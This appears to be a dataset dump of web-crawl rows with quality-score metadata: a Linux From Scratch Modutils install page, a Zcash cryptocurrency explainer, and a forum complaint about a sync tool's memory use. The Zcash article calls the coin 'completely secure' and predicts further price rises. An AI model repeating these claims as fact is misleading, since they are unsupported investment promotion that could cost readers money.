"rps_doc_stop_word_fraction": 0.06368198245763779,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.002701659919694066,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5055962800979614,
"rps_doc_frac_unique_words": 0.2978927195072174,
"rps_doc_mean_word_length": 9.61111068725586,
"rps_doc_num_sentences": 233,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.1173810958862305,
"rps_doc_word_count": 1044,
"rps_doc_frac_chars_dupe_10grams": 0.33695435523986816,
"rps_doc_frac_chars_dupe_5grams": 0.3835957646369934,
"rps_doc_frac_chars_dupe_6grams": 0.3730316758155823,
"rps_doc_frac_chars_dupe_7grams": 0.36954355239868164,
"rps_doc_frac_chars_dupe_8grams": 0.36954355239868164,
"rps_doc_frac_chars_dupe_9grams": 0.33695435523986816,
"rps_doc_frac_chars_top_2gram": 0.02541358955204487,
"rps_doc_frac_chars_top_3gram": 0.04704006016254425,
"rps_doc_frac_chars_top_4gram": 0.017540359869599342,
"rps_doc_books_importance": -1468.916259765625,
"rps_doc_books_importance_length_correction": -1468.916259765625,
"rps_doc_openwebtext_importance": -868.3759155273438,
"rps_doc_openwebtext_importance_length_correction": -868.3759155273438,
"rps_doc_wikipedia_importance": -874.6756591796875,
"rps_doc_wikipedia_importance_length_correction": -874.6756591796875
},
"fasttext": {
"dclm": 0.8456459045410156,
"english": 0.26072052121162415,
"fineweb_edu_approx": 3.1037309169769287,
"eai_general_math": 0.2947041392326355,
"eai_open_web_math": 0.02920180931687355,
"eai_web_code": 0.9681616425514221
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
2,625,832,790,886,507,000 | Installing Modutils
Installation of Modutils
Install Modutils by running the following commands:
./configure &&
make &&
make install
Contents
The Modutils package contains the depmod, genksyms, insmod, insmod_ksymoops_clean, kerneld, kernelversion, ksyms, lsmod, modinfo, modprobe and rmmod programs.
Description
depmod
depmod handles dependency descriptions for loadable kernel modules.
genksyms
genksyms reads (on standard input) the output from gcc -E source.c and generates a file containing version information.
insmod
insmod installs a loadable module in the running kernel.
insmod_ksymoops_clean
insmod_ksymoops_clean deletes saved ksyms and modules not accessed in 2 days.
kerneld
kerneld performs kernel action in user space (such as on-demand loading of modules)
kernelversion
kernelversion reports the major version of the running kernel.
ksyms
ksyms displays exported kernel symbols.
lsmod
lsmod shows information about all loaded modules.
modinfo
modinfo examines an object file associated with a kernel module and displays any information that it can glean.
modprobe
Modprobe uses a Makefile-like dependency file, created by depmod, to automatically load the relevant module(s) from the set of modules available in predefined directory trees.
rmmod
rmmod unloads loadable modules from the running kernel. | {
"url": "https://linuxfromscratch.org/museum/lfs-museum/3.0-pre3/LFS-BOOK-3.0-pre3-HTML/ch06-modutils.html",
"source_domain": "linuxfromscratch.org",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "4910",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PLO4RBN4CQ4HOSSA7TFBAM4VHN3L2JKN",
"WARC-Concurrent-To": "<urn:uuid:6702b1d1-3ae6-4522-a94a-17119a254328>",
"WARC-Date": "2022-05-17T00:09:49Z",
"WARC-IP-Address": "208.118.68.85",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GN6WLFLQ62C5T53NIFKGJZGWS3RV5I4S",
"WARC-Record-ID": "<urn:uuid:a57d4722-ebfa-4aec-942a-5f5aac7a7a50>",
"WARC-Target-URI": "https://linuxfromscratch.org/museum/lfs-museum/3.0-pre3/LFS-BOOK-3.0-pre3-HTML/ch06-modutils.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:08622aaa-3aac-45a3-97c0-141fe2c266e8>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-6\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
20,
21,
46,
47,
99,
100,
101,
116,
124,
137,
138,
147,
148,
307,
308,
320,
321,
328,
329,
397,
398,
407,
408,
528,
529,
536,
537,
594,
595,
617,
618,
696,
697,
705,
706,
790,
791,
805,
806,
869,
870,
876,
877,
917,
918,
924,
925,
975,
976,
984,
985,
1097,
1098,
1107,
1108,
1284,
1285,
1291,
1292
],
"line_end_idx": [
20,
21,
46,
47,
99,
100,
101,
116,
124,
137,
138,
147,
148,
307,
308,
320,
321,
328,
329,
397,
398,
407,
408,
528,
529,
536,
537,
594,
595,
617,
618,
696,
697,
705,
706,
790,
791,
805,
806,
869,
870,
876,
877,
917,
918,
924,
925,
975,
976,
984,
985,
1097,
1098,
1107,
1108,
1284,
1285,
1291,
1292,
1347
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1347,
"ccnet_original_nlines": 59,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.24770641326904297,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.004587159957736731,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16972477734088898,
"rps_doc_frac_unique_words": 0.5617977380752563,
"rps_doc_mean_word_length": 6.1460676193237305,
"rps_doc_num_sentences": 13,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.3549299240112305,
"rps_doc_word_count": 178,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02742229960858822,
"rps_doc_frac_chars_top_3gram": 0.043875690549612045,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -89.78804779052734,
"rps_doc_books_importance_length_correction": -89.78803253173828,
"rps_doc_openwebtext_importance": -39.3332633972168,
"rps_doc_openwebtext_importance_length_correction": -39.3332633972168,
"rps_doc_wikipedia_importance": -48.247894287109375,
"rps_doc_wikipedia_importance_length_correction": -48.229156494140625
},
"fasttext": {
"dclm": 0.0317038893699646,
"english": 0.5976700186729431,
"fineweb_edu_approx": 2.074800491333008,
"eai_general_math": 0.37506532669067383,
"eai_open_web_math": 0.04006683826446533,
"eai_web_code": 0.9258667230606079
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-8,406,717,153,239,290 | Zcash Analysis – Technology, Reasons to know and Facts
1xbit
Zcash is a decentralized open-source cryptocurrency that aims to offer privacy along with selective transparency of the transactions. All the payments and transactions on the Zcash protocol are published on the public blockchain but the sender, recipient and the transaction remain private which thus offers a level of security and privacy.
What is Zcash
The Zcash protocol was built on an open-source platform that is based on the Bitcoin Core’s codebase and was developed post a peer-reviewed cryptographic research based on the results that were drawn. In addition to the extra layer of privacy, Zcash also uses advanced cryptographic techniques without revealing additional information that can be conserved.
The principle behind Zcash is to keep the important information private, this is done by keeping the information about the Sender, recipient and the amount of transaction private despite the records being placed on the public ledger, the Zcash cryptocurrency is built on the Bitcoin Core codebase and it thus implements a public ledger for selective transparency giving only information that is essential for the functioning.
Technology behind Zcash
The technology that Zcash works on is very unique and places privacy and security first, the Zcash cryptocurrency encrypts the contests of the protected transactions and as the information is encrypted, the protocol implements a cryptographic algorithm to verify their validity. The algorithm is rather uncommon and it uses a zero-knowledge proof construction method called zk-SNARK that has been developed by the team in-house based on the recent breakthroughs in the cryptographic technologies.
This algorithm helps Zcash to maintain a secure public ledger of the balances without disclosing the entities that were involved in the transaction or the amount that was exchanged. Unlike Bitcoin and most other cryptocurrencies that make all the transactions available on a public ledger, Zcash doesn’t make this information publicly available, instead, the transaction metadata is encrypted and the zk-SNARK is used to prove that the transactions are validated.
Zcash also allows for the transactions to be public and it can work similar to Bitcoin, the protocol supports both, shielded and transparent addresses thereby allowing the users to select between using Zcash privately or publicly. The ambiguity arises when there’s a difference in the type of sender and receiver, if the sender is from a shielded address and the receiver is a transparent address then the received balance is revealed, on the contrary, if the payments are from a transparent address to a shielded address then the receiving balance is protected.
What is zk-SNARKs?
Zk-SNARKs is a novel zero-knowledge cryptography and Zcash is the first major application of this cryptography, the strong privacy guarantee offered by Zcash is based on the shielded transactions being offered by the cryptography that helps Zcash transactions in being fully encrypted on a blockchain. Despite the encrypted nature, the transactions can be validated by using the consensus rules via the zk-SNARKs proofs.
The term zk-SNARKs stands for “Zero-Knowledge Succinct Non-Interactive Argument of Knowledge” and it helps in proof construction for consensus which can prove possession of something without revealing any information that the validity of statement itself. In the Zero Knowledge “Proof of knowledge” method, the prover confirms with the verifier that the transaction exists and that the transaction is known and validated without revealing any information of the number.
Why should you invest in Zcash?
Not much can be said with certainty about the cryptocurrency market as even the smallest of signals or changes in the international market can make a huge impact, one such example was the listing of Zcash in Gemini that leads to a bump in the price by as much as 55 percent, this is very much expected considering the volume of trades on the biggest crypto exchange of the US.
However, the other question with the extremely secure Zcash comes in about the potential crackdown by authorities as we recently saw in the Japanese cryptocurrency market. This has resulted in secure coins such as Zcash having a smaller market cap as people are still unsure of the regulating authorities will ever be comfortable with this type of technology in the open.
Prior to the recent listing on Gemini, Zcash had experienced an initial dip of 20 percent in value before it rebounded and continued to increase in value. Zcash has now stabilized but considering the recent rise in the demand in the US market, the price of Zcash is expected to rise even further in a short term.
Things to know about Zcash
• Completely secure and offers extreme privacy to protect vital information.
• Uses zk-SNARKs “Proof of Knowledge” for verification.
• Hides the sender, receiver and transaction amount on the public ledger.
• Also has a public mode that doesn’t shield the information.
• Concerns over regulators eyeing the secure currencies and lack of regulatory support.
• Based on Bitcoin Core codebase.
Comments (No)
Leave a Reply | {
"url": "http://www.cryptotechstories.com/zcash-analysis/348/",
"source_domain": "www.cryptotechstories.com",
"snapshot_id": "crawl=CC-MAIN-2019-13",
"warc_metadata": {
"Content-Length": "55612",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4M7VBCNQ4RNUZS2QUXAXLCR27QOOFY3O",
"WARC-Concurrent-To": "<urn:uuid:a697ff2c-e1af-4fd5-a58b-dc7a0089874b>",
"WARC-Date": "2019-03-25T01:46:48Z",
"WARC-IP-Address": "104.236.67.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QJWCYDACSGYHIUMZTWDBORGMFAVSYPL7",
"WARC-Record-ID": "<urn:uuid:f208ef25-cfb6-4ee2-a0ff-300325bc47a0>",
"WARC-Target-URI": "http://www.cryptotechstories.com/zcash-analysis/348/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e7bf5ade-07eb-47fd-8979-85282ae78aee>"
},
"warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-155-175-115.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
55,
56,
62,
63,
404,
405,
419,
420,
778,
779,
1205,
1206,
1230,
1231,
1728,
1729,
2193,
2194,
2757,
2758,
2777,
2778,
3199,
3200,
3670,
3671,
3703,
3704,
4081,
4082,
4454,
4455,
4768,
4769,
4796,
4797,
4876,
4934,
5010,
5074,
5164,
5200,
5201,
5215,
5216
],
"line_end_idx": [
55,
56,
62,
63,
404,
405,
419,
420,
778,
779,
1205,
1206,
1230,
1231,
1728,
1729,
2193,
2194,
2757,
2758,
2777,
2778,
3199,
3200,
3670,
3671,
3703,
3704,
4081,
4082,
4454,
4455,
4768,
4769,
4796,
4797,
4876,
4934,
5010,
5074,
5164,
5200,
5201,
5215,
5216,
5229
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5229,
"ccnet_original_nlines": 45,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.446739137172699,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.004347830079495907,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.09673912823200226,
"rps_doc_frac_unique_words": 0.38246041536331177,
"rps_doc_mean_word_length": 5.246041297912598,
"rps_doc_num_sentences": 29,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.981752395629883,
"rps_doc_word_count": 821,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.011144650168716908,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01276990957558155,
"rps_doc_frac_chars_top_3gram": 0.009287210181355476,
"rps_doc_frac_chars_top_4gram": 0.009751570411026478,
"rps_doc_books_importance": -401.32000732421875,
"rps_doc_books_importance_length_correction": -401.32000732421875,
"rps_doc_openwebtext_importance": -261.16864013671875,
"rps_doc_openwebtext_importance_length_correction": -261.16864013671875,
"rps_doc_wikipedia_importance": -168.98159790039062,
"rps_doc_wikipedia_importance_length_correction": -168.98159790039062
},
"fasttext": {
"dclm": 0.22046345472335815,
"english": 0.9567683935165405,
"fineweb_edu_approx": 2.3713021278381348,
"eai_general_math": 0.25321727991104126,
"eai_open_web_math": 0.1504814624786377,
"eai_web_code": 0.04304933920502663
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "332.82",
"labels": {
"level_1": "Social sciences",
"level_2": "Economics",
"level_3": "Finance"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,363,018,652,363,992,000 | alanr
Just found SMESync using 2G ram, 5G virtual while (trying to) sync box.net.
That's pretty unfriendly.
Can you tell me if this is normal? I would not expect a sync to use so much ram.
Quote
alanr
Found machine catatonic today, SMSync 2.5G, 9.5G virtual again w/box.net. There's only 2G of space used on box.net - would be more efficient to just download it all into memory!
Please respond. This may make my investment in the lifetime business plan worthless if it continues (and is holding me off recommending the product to colleagues)
Also note that SMEFileSystemRW takes 6-10% of my CPU even when the drive is stopped. Admittedly it's an older system - 2.16 core 2 duo imac5,1 3gb ram, but nonetheless that's a lot of CPU for doing nothing,
I'm also getting notes during sync against google doc about files or folders being deleted when there is no such activity on google docs. Does SME correctly handle docs that are shared to me from others?
Quote
admin
I think we'll need to understand more about your setup, the version you are using, and also some other user specific details. Could you email us at support and we'll work with you and post any findings here in any case.
I think maybe you are using an older version but just want to validate this with you.
Quote | {
"url": "http://thesmespace.websitetoolbox.com/post/excessive-memorycpu-for-sync-5508538",
"source_domain": "thesmespace.websitetoolbox.com",
"snapshot_id": "crawl=CC-MAIN-2017-26",
"warc_metadata": {
"Content-Length": "41587",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NZNPFZT4N6LXHMPX6QDPAL2KIOYZEKXN",
"WARC-Concurrent-To": "<urn:uuid:440f9b29-595e-475e-98cf-316b03fb4dd3>",
"WARC-Date": "2017-06-28T08:50:34Z",
"WARC-IP-Address": "34.206.32.97",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:4BEVPQ6RNGXCNAMPXOFFD4AWPODX5MJA",
"WARC-Record-ID": "<urn:uuid:eb48f3db-4846-4b81-bf27-ac1bd33e5a81>",
"WARC-Target-URI": "http://thesmespace.websitetoolbox.com/post/excessive-memorycpu-for-sync-5508538",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:37b3e13a-a0bf-4ac8-a264-51e54bc61709>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-145-248-151.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
6,
82,
108,
189,
195,
201,
379,
380,
543,
544,
751,
752,
956,
962,
968,
1188,
1189,
1275
],
"line_end_idx": [
6,
82,
108,
189,
195,
201,
379,
380,
543,
544,
751,
752,
956,
962,
968,
1188,
1189,
1275,
1280
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1280,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4300699234008789,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0419580414891243,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17832167446613312,
"rps_doc_frac_unique_words": 0.691629946231842,
"rps_doc_mean_word_length": 4.427312850952148,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.913593769073486,
"rps_doc_word_count": 227,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.013930349610745907,
"rps_doc_frac_chars_top_3gram": 0.0218905508518219,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -118.53073120117188,
"rps_doc_books_importance_length_correction": -118.53073120117188,
"rps_doc_openwebtext_importance": -54.39678192138672,
"rps_doc_openwebtext_importance_length_correction": -54.39678192138672,
"rps_doc_wikipedia_importance": -43.887813568115234,
"rps_doc_wikipedia_importance_length_correction": -43.887813568115234
},
"fasttext": {
"dclm": 0.24669712781906128,
"english": 0.9609649777412415,
"fineweb_edu_approx": 0.8973009586334229,
"eai_general_math": 0.036595940589904785,
"eai_open_web_math": 0.19957977533340454,
"eai_web_code": 0.07281720638275146
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.